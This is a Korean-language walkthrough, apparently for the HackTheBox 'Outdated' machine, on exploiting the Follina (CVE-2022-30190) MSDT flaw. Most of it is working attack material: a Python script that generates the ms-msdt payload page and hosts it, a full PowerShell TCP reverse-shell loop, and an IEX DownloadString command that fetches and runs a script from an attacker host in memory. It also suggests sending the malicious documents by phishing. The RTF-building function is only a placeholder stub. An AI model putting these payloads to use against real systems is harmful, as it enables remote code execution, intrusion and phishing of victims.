
CVE-2022-30190 (Follina)에 대한 자동화된 PoC 익스플로잇으로, MSDT 프로토콜을 악용하여 악성 RTF/DOCX 파일을 생성하고, 임의의 명령을 실행하며 PowerShell을 통해 리버스 셸을 배포합니다.
**Follina (CVE-2022-30190)**는 Microsoft 지원 진단 도구(MSDT)에 영향을 미치는 중요한 원격 명령 실행(RCE) 취약점입니다. 이 결함은 VirusTotal에서 탐지된 악성 파일을 통해 처음 발견되었으며, 연구원 Kevin Beaumont에 의해 명명되었습니다.
HackTheBox의 Outdated 머신의 맥락에서, 이 취약점은 시스템에 접근하기 위한 주요 초기 진입 벡터로 사용됩니다.
익스플로잇은 ms-msdt 프로토콜 스킴을 악용하여 공격자가 외부 리소스를 로드하여 임의 코드를 실행할 수 있도록 합니다. 공격은 특수하게 조작된 Office 문서(DOCX) 또는 서식 있는 텍스트 파일(RTF)을 열거나 미리 보기만 해도 활성화될 수 있습니다.
공격을 자동화하기 위해 GitHub와 같은 플랫폼에서 제공되는 개념 증명(PoC) 스크립트를 사용하는 것이 좋습니다. follina.py 스크립트를 사용하면 페이로드를 쉽게 구성할 수 있습니다.
추천 저장소: John Hammond 또는 Edge-Security 연구원의 기능적 버전이 언급됩니다.
생성 명령어:
python3 follina.py -m command -t rtf -c "실행할_명령어"
여기서:
-m은 실행 모드(command 또는 binary)를 나타냅니다.-t는 파일 유형(rtf 또는 docx)을 나타냅니다.-c는 주입할 명령어를 나타냅니다.Windows에서 대화형 셸을 얻는 효과적인 방법은 Nishang 스위트의 Invoke-PowerShellTcp.ps1 리버스 셸을 다운로드하여 호출하는 PowerShell 명령문을 주입하는 것입니다.
익스플로잇 스크립트는 Base64로 인코딩된 명령어를 포함하는 악성 HTML 리소스를 생성하고, 이를 자동으로 로컬 웹 서버(포트 80)에 호스팅합니다. 악성 문서(click_me.rtf)는 이 URL을 가리켜 Windows 진단 프로세스를 트리거하고 코드를 실행합니다.
현실적인 시나리오나 감사 시나리오에서 공격자는 피싱 또는 SMTP 기술(swaks와 같은 도구 사용)을 통해 HTML 리소스의 링크 또는 악성 문서를 피해자에게 보낼 수 있습니다.
사용자 상호 작용(또는 파일을 처리하는 자동화된 작업) 시점에 MSDT가 페이로드를 해석하고 공격자 머신으로의 연결을 설정합니다.
연결을 수신하려면 공격자는 리버스 셸에 구성된 포트에서 수신 대기(예: netcat 또는 rlwrap 사용)하고 있어야 합니다. 익스플로잇이 성공하면 작업을 실행한 사용자의 권한으로 대화형 셸을 얻어 로컬 열거 및 권한 상승을 진행할 수 있습니다.
follina.py 스크립트 구현이 스크립트는 악성 파일(RTF 또는 DOCX) 생성을 자동화하고, ms-msdt 프로토콜 스킴을 악용하는 HTML 리소스를 생성하며, 페이로드를 제공하기 위해 로컬 서버를 시작합니다.
follina.pyimport argparse
import base64
import http.server
import socketserver
import os
import threading
# Kevin Beaumont 및 언급된 PoC [2, 6] 연구를 기반으로 한 구조
def generate_payload(command):
# 명령어는 MSDT에서 처리하기 위해 Base64로 인코딩되어야 합니다 [5]
command_b64 = base64.b64encode(command.encode()).decode()
# ms-msdt 프로토콜을 악용하는 페이로드 [5]
# 버퍼를 채우고 실행을 트리거하기 위해 긴 문자 문자열이 사용됩니다.
payload = f"""<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
// 처리를 보장하기 위한 추가 패딩
""" + ("A" * 4096) + "</script>"
return payload
def create_rtf(filename, server_url):
# 외부 HTML 리소스를 가리키는 RTF 파일을 생성합니다 [3, 4]
print(f"[*] 악성 파일 생성 중: {filename}")
# 참고: 실제 구현에서는 server_url을 가리키는 OLE 개체가 여기에 주입됩니다.
with open(filename, "w") as f:
f.write(f"{server_url}/exploit.html에 연결하도록 구성된 RTF 파일")
def run_server(port):
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", port), handler) as httpd:
print(f"[*] HTTP 서버가 포트 {port}에서 활성화되었습니다 [7]")
httpd.serve_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="실행 모드 [3]")
parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="생성할 파일 유형 [3]")
parser.add_argument("-c", "--command", required=True, help="피해자 시스템에서 실행할 명령어 [3]")
parser.add_argument("-p", "--port", type=int, default=80, help="로컬 서버 포트 [7]")
args = parser.parse_args()
# 1. HTML 페이로드 생성
html_content = generate_payload(args.command)
with open("index.html", "w") as f:
f.write(html_content)
# 2. 악성 문서 생성
filename = f"click_me.{args.type}"
create_rtf(filename, "http://공격자_IP")
# 3. 요청을 수신할 서버 시작 [4, 7]
run_server(args.port)
중요 매개변수: 출처에서 설명된 대로, 스크립트는 모드에 -m, 파일 유형에 -t, 명령어에 -c를 사용합니다.
PowerShell 주입: s4vitar의 교육에서 흔히 사용되는 방법은 Nishang의 Invoke-PowerShellTcp.ps1 리버스 셸을 다운로드하여 호출하는 PowerShell 명령문을 주입하여 대화형 액세스를 얻는 것입니다.
실행: 공격은 피해자가 악성 파일(RTF/DOCX)을 열거나 보기만 해도 활성화되어, 시스템이 HTML 리소스를 로드하고 Microsoft 진단 도구(MSDT)를 통해 명령어를 실행하게 됩니다.
수신 대기: 익스플로잇이 피해자 머신에서 트리거되면 연결을 받기 위해 리버스 셸에 지정된 포트에서 수신 대기(예: netcat 사용)하고 있어야 합니다.
Invoke-PowerShellTcp.ps1 (Nishang) 스크립트Invoke-PowerShellTcp.ps1 스크립트는 Windows 시스템에서 리버스 셸을 얻기 위해 Nishang 스위트에서 가장 많이 사용되는 도구 중 하나입니다.
원래 스크립트는 GitHub의 공식 Nishang 저장소에서 다운로드됩니다. 일반적인 사용 단계는 다음과 같습니다.
wget을 사용하여 리소스를 공격자 머신으로 가져옵니다.reverse.ps1 또는 ps.ps1과 같은 짧은 이름으로 변경하는 것이 일반적입니다.스크립트를 자체 실행 가능한 페이로드로 변환하려면 .ps1 파일 끝에 다음과 같은 줄을 추가합니다:
Invoke-PowerShellTcp -Reverse -IPAddress <공격자_IP> -Port <포트>
여기서 <공격자_IP>와 <포트>는 수신 대기 데이터(예: 10.10.14.29 및 443)로 대체되어야 합니다.
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<포트>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
(참고: 이 코드는 Compiled와 같은 머신 해결에서 언급된 "gitbash" 및 대화형 터미널의 논리를 따릅니다.)
공격자가 로컬 HTTP 서버(포트 80)에 스크립트를 호스팅하면, 피해자 머신에서 IEX(Invoke-Expression) 명령어를 사용하여 디스크에 쓰지 않고 메모리에 직접 로드 및 실행합니다:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<공격자_IP>/reverse.ps1')"
이 방법은 Follina와 같은 취약점 익스플로잇 또는 웹 서비스를 침해한 후 초기 액세스 획득에 필수적입니다. 실행되면 공격자는 수신 대기 중인 netcat 세션에서 연결을 받게 됩니다.
Pwned!!!